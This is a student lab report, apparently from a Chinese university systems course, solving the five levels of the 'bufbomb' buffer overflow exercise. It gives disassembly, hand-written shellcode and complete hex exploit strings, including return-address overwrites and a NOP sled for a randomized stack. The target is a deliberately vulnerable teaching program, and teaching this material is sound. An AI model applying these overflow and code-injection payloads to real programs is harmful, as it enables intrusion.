西北工业大学_计算机系统基础_实验报告_第3次

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

西北工业大学
计算机系统基础实验报告
姓名班级学号
实验成绩指导教师
实验名称缓冲区溢出攻击
实验目的:
通过使目标程序跳转到我们预定的位置执行,从而加深对IA-32函数调用规则和栈帧结构的理解。

实验工具:
linux、gdb调试器、反汇编工具objdump、将16进制数转化为ASCII码的工具hex2raw。

实验要求:
对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击,也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。

实验内容:
一、Smoke(让目标程序调用smoke函数)
本实验利用getbuf()函数不检查读取字符串长度的漏洞破坏该程序栈帧的返回地址从而达到对主程序造成破坏的目的。

首先用objdump指令反汇编生成bufbomb的汇编语言文本文件。

可以找到getbuf函数代码如下:
080491f1 <getbuf>:
80491f1: 55 push %ebp
80491f2: 89 e5 mov %esp,%ebp
80491f4: 83 ec 38 sub $0x38,%esp
80491f7: 8d 45 d8 lea -0x28(%ebp),%eax
80491fa: 89 04 24 mov %eax,(%esp)
80491fd: e8 08 fb ff ff call 8048d0a <Gets>
8049202: b8 01 00 00 00 mov $0x1,%eax
8049207: c9 leave
8049208: c3 ret
位于<0x80491f7> 地址处代码为预读的字符串在栈帧创建了0x28(也就是40)字节的空间。

具体位置可以通过gdb在下一行设置断点查找 %eax 的值得到。

为了覆盖被存在返回地址上的值,我们需要读入超过系统默认40字节大小的字符串。

由于保存的%ebp旧址占据了4字节所以当我们的输入字符串为48字节时,最后4位刚好覆盖返回地址。

首先,在bufbomb的反汇编源代码中找到smoke函数,记下它的起始地址。

08048c28 <smoke>:
所以构造的攻击字符转总共48个字节,并且前面44个字节可以为任意值,对程序的执行没有任何影响,只要最后四个字节正确地设置为smoke的起始地址<08048c28>即可,注意使用小端方式写入。

字符串为:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 28 8c 04 08
运行结果如下:
二、Fizz(让目标程序使用特定参数调用Fizz函数)
和smoke的区别是要求跳入函数 fizz() 且该函数有一个参数(要求用所给cookie作参数)。

由汇编代码可以找到fizz函数的地址是08048c52 <fizz>,而且ebp存放了调用者的旧ebp,其上一位置ebp+4存放了调用者的返回地址,所以参数的地址应该为ebp+8的位置,只需要将自己的cookie放置在该位置即可。

字符串为:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 52 8c 04 08
00 00 00 00 c3 7b 98 5f
运行结果如下:
三、Bang(让目标程序调用Bang函数,并篡改全局变量)
08048cad <bang>
可以知道bang函数的地址为0x08048cad,通过阅读bang函数的代码,可以推断出全局变量global_value和cookie的地址。

global_value的地址是<>
cookie的地址是<0x5f987bc3>
于是自己写汇编代码如下:
movl $0x5f987bc3, 0x0804d100
pushl $0x08048cad
ret
先将global_value用mov指令变成cookie (0x0804d100 前不加$ 表示地址),然后将bang()函数地址<0x08048cad>写给esp,再执行ret指令时,程序自动跳入bang()函数。

将自己写的汇编代码变成机器代码。

将指令代码抄入攻击文件,除此之外我们还需要找到输入字符串存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的40字节缓冲区首地址为<0x55682f38>。

所以bang.txt内容如下:
c7 05 00 d1 04 08 c3 7b 98 5f 68 ad 8c 04 08 c3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 38 2f 68 55
运行结果如下:
四、Boom(无感攻击,并传递有效返回值)
getbuf() 结束后回到test()原本的位置(即call getbuf后的下一行),并将cookie作为getbuf()的返回值传给test()。

保存的ebp旧址被复原,这样一来原程序就完全不会因为外部攻击而出错崩溃,也就是退出攻击后要保证栈空间还原。

8048dc9: e8 23 04 00 00 call 80491f1 <getbuf>
8048dce: 89 c3 mov %eax,%ebx
可以知道在test函数中getbuf()在<0x08048dc9>被执行因此正确的跳转地
址为 <0x08048dce>另外,要还原栈帧,我们必须知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获取,可以在<0x08048dc9>(准备进入getbuf 函数)设置断点,然后查看进入getbuf之前的%ebp寄存器值,这里我们得到的旧的ebp的值为<0x55682f90>,如下:
自己编写汇编代码如下:
movl $0x5f987bc3, %eax
push $0x08048dce
ret
这里通过movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转到test()中call getbuf下一条指令正常返回,但是并不在代码中处理ebp 寄存器问题,而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。

对其进行编译,然后反汇编得到机器码如下:
所以构造的攻击字符串如下:
b8 c3 7b 98 5f 68 ce 8d 04 08 c3 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 90 2f 68 55 38 2f 68 55
运行结果如下:
五、Nitro(栈帧地址变化时的有效攻击)
bufbomb调用testn(),testn()又调getbufn()。

本题的任务是使getn返回cookie给testn()。

题目的栈地址是动态的,每次都不一样,bufbomb会连续要输入5次字符串,每次都调用getbufn(),每次的栈地址都不一样,通过上网查找,我了解到可以使用汇编指令nop(机器代码:90)填充输入字符串,这样一来在一定范围内无论在哪里进入我们的攻击程序执行指令最终都会滑到攻击代码。

虽然ebp的值每次变化,无法直接赋值,但是在getbufn()程序中 ebp和esp值差是一定的,通过gdp查找可以查到相差0x28。

08048e36 <testn>:
8048e36: 55 push %ebp
8048e37: 89 e5 mov %esp,%ebp
8048e39: 53 push %ebx
8048e3a: 83 ec 24 sub $0x24,%esp
8048e3d: e8 5e ff ff ff call 8048da0 <uniqueval>
8048e42: 89 45 f4 mov %eax,-0xc(%ebp)
8048e45: e8 bf 03 00 00 call 8049209 <getbufn>
8048e4a: 89 c3 mov %eax,%ebx
8048e4c: e8 4f ff ff ff call 8048da0 <uniqueval>
通过试运行主程序发现五次input string的存储位置在0x55682ce8到0x55682db8之间,因此如果我们将第一次ret address 定为最高的0x55682db8那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop(90)之外的其他指令。

又根据testn开头的代码可以知道代码的返回地址应该是0x8048e4a。

所以构造的攻击指令并且进行编译反编译结果如下:
查看getbufn的汇编代码如下:
08049209 <getbufn>:
8049209: 55 push %ebp
804920a: 89 e5 mov %esp,%ebp
804920c: 81 ec 18 02 00 00 sub $0x218,%esp
8049212: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049218: 89 04 24 mov %eax,(%esp)
804921b: e8 ea fa ff ff call 8048d0a <Gets>
8049220: b8 01 00 00 00 mov $0x1,%eax
8049225: c9 leave
8049226: c3 ret
得知写入字符串的首地址为-0x208(%ebp),而返回地址位于0x4(%ebp),因此我们需填充524个字节的字符,再写4个字节覆盖getbufn()的返回地址。

填充字符串如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
c3 7b 98 5f 8d 6c 24 28 68 4a
8e 04 08 c3 b8 2d 68 55
测试结果如下:
实验心得和总结:
通过本次实验加深了对函数执行过程栈帧的使用方式的理解,以及缓冲区溢出的原理和用法,使自己对简单的汇编语言更加熟练掌握,最重要的一点是,通过本次实验,自己动手写了一些汇编语言代码,这是以前实验过程没有经历过的,更加强了汇编语言的实践。

我还认识到,在以后的编程中,要尽量避免缓冲区溢出的漏洞,让自己的代码更加健壮。

相关文档
最新文档